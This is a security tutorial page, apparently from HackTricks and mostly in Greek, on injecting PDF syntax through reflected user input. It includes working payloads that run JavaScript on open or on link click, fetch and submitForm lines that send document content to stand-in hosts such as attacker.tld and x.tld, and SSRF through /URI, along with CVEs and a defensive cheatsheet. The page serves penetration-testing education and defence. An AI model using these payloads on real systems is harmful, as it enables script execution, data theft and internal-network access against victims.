PDF Injection

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αν η είσοδός σας ανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF. Η σύνταξη PDF είναι εξαιρετικά επιεικής – αν μπορείτε να σπάσετε τη συμβολοσειρά ή το λεξικό που ενσωματώνει την είσοδό σας, μπορείτε να προσθέσετε εντελώς νέα αντικείμενα (ή νέες κλειδιά στο ίδιο αντικείμενο) που το Acrobat/Chrome θα αναλύσει ευχαρίστως. Από το 2024, μια σειρά αναφορών bug-bounty έχει δείξει ότι μία μη διαφραγμένη παρένθεση ή αντίστροφη κάθετος είναι αρκετή για πλήρη εκτέλεση σεναρίου.

TL;DR – Σύγχρονη Ροή Επίθεσης (2024)

  1. Βρείτε οποιαδήποτε τιμή ελεγχόμενη από τον χρήστη που καταλήγει μέσα σε μια (συμβολοσειρά παρένθεσης), /URI ( … ) ή /JS ( … ) πεδίο στο παραγόμενο PDF.
  2. Εισάγετε ) (κλείνοντας τη συμβολοσειρά) ακολουθούμενο από μία από τις παρακάτω πρωτότυπες και τελειώστε με άλλη μια ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη.
  3. Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια υπηρεσία backend που αυτόματα αποδίδει το αρχείο – εξαιρετικό για τυφλά σφάλματα).
  4. Το payload σας εκτελείται στον αναγνώστη PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (βλ. CVE-2024-4367)
  • Acrobat → Πλήρης JavaScript API (μπορεί να εξάγει περιεχόμενα αρχείων με this.getPageNthWord)

Παράδειγμα (κατάχρηση συνδέσμου σημείωσης):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Η πρώτη ) κλείνει την αρχική συμβολοσειρά URI, στη συνέχεια προσθέτουμε ένα νέο Action λεξικό που θα εκτελέσει το Acrobat όταν ο χρήστης κάνει κλικ στον σύνδεσμο.

Χρήσιμα Injection Primitives

ΣτόχοςPayload SnippetΣημειώσεις
JavaScript κατά το άνοιγμα/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Εκτελείται αμέσως όταν ανοίγει το έγγραφο (λειτουργεί στο Acrobat, όχι στο Chrome).
JavaScript κατά τον σύνδεσμο/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια /Link σημείωση.
Blind data exfiltration<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Συνδυάστε με this.getPageNthWord μέσα σε JS για να κλέψετε περιεχόμενο.
Server-Side SSRFΤο ίδιο με παραπάνω αλλά στοχεύστε σε μια εσωτερική διεύθυνση URL – εξαιρετικό όταν το PDF αποδίδεται από υπηρεσίες back-office που σέβονται το /URI.
Διάλειμμα γραμμής για νέα αντικείμενα\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjΑν η βιβλιοθήκη σας επιτρέπει να εισάγετε χαρακτήρες νέας γραμμής, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα.

Blind Enumeration Trick

Ο Gareth Heyes (PortSwigger) δημοσίευσε μια μία γραμμή που καταμετρά κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο – χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Ο κώδικας επαναλαμβάνει το Acrobat DOM και κάνει εξωτερικά αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας μια JSON-ish εξαγωγή του αρχείου. Δείτε το λευκό έγγραφο “Portable Data exFiltration” για την πλήρη τεχνική.

Real-World Bugs (2023-2025)

  • CVE-2024-4367 – Αυθαίρετη εκτέλεση JavaScript στο PDF.js του Firefox πριν από την 4.2.67 παρακάμπτει το sandbox με μια κατασκευασμένη ενέργεια /JavaScript.
  • Bug bounty 2024-05 – Μεγάλη fintech επέτρεψε σημειώσεις τιμολογίων που παρέχονταν από πελάτες και κατέληγαν στο /URI; η αναφορά πληρώθηκε $10k μετά από αποδεδειγμένο SSRF σε εσωτερικό μεταδεδομένο host χρησιμοποιώντας file:/// URI.
  • CVE-2023-26155 – Η εντολή node-qpdf μέσω μη απολυμασμένης διαδρομής PDF δείχνει τη σημασία της απόδρασης των backslashes και των παρενθέσεων ακόμη πριν από το επίπεδο PDF.

Defensive Cheatsheet

  1. Ποτέ μην συνδυάζετε ακατέργαστη είσοδο χρήστη μέσα σε () συμβολοσειρές ή ονόματα. Απόδραση \, (, ) όπως απαιτείται από το §7.3 της προδιαγραφής PDF ή χρησιμοποιήστε δεκαεξαδικές συμβολοσειρές <...>.
  2. Εάν δημιουργείτε συνδέσμους, προτιμήστε /URI (https://…) που να κωδικοποιείτε πλήρως URL; αποκλείστε τα σχήματα javascript: στους πελάτες προβολής.
  3. Αφαιρέστε ή επικυρώστε τα λεξικά /OpenAction, /AA (επιπλέον ενέργειες), /Launch, /SubmitForm και /ImportData κατά την επεξεργασία PDF.
  4. Από την πλευρά του διακομιστή, αποδώστε μη αξιόπιστα PDFs με έναν headless converter (π.χ. qpdf –decrypt –linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες.
  5. Διατηρήστε τους προβολείς PDF ενημερωμένους; PDF.js < 4.2.67 και Acrobat Reader πριν από τον Ιούλιο του 2024 επιτρέπουν απλή εκτέλεση κώδικα.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks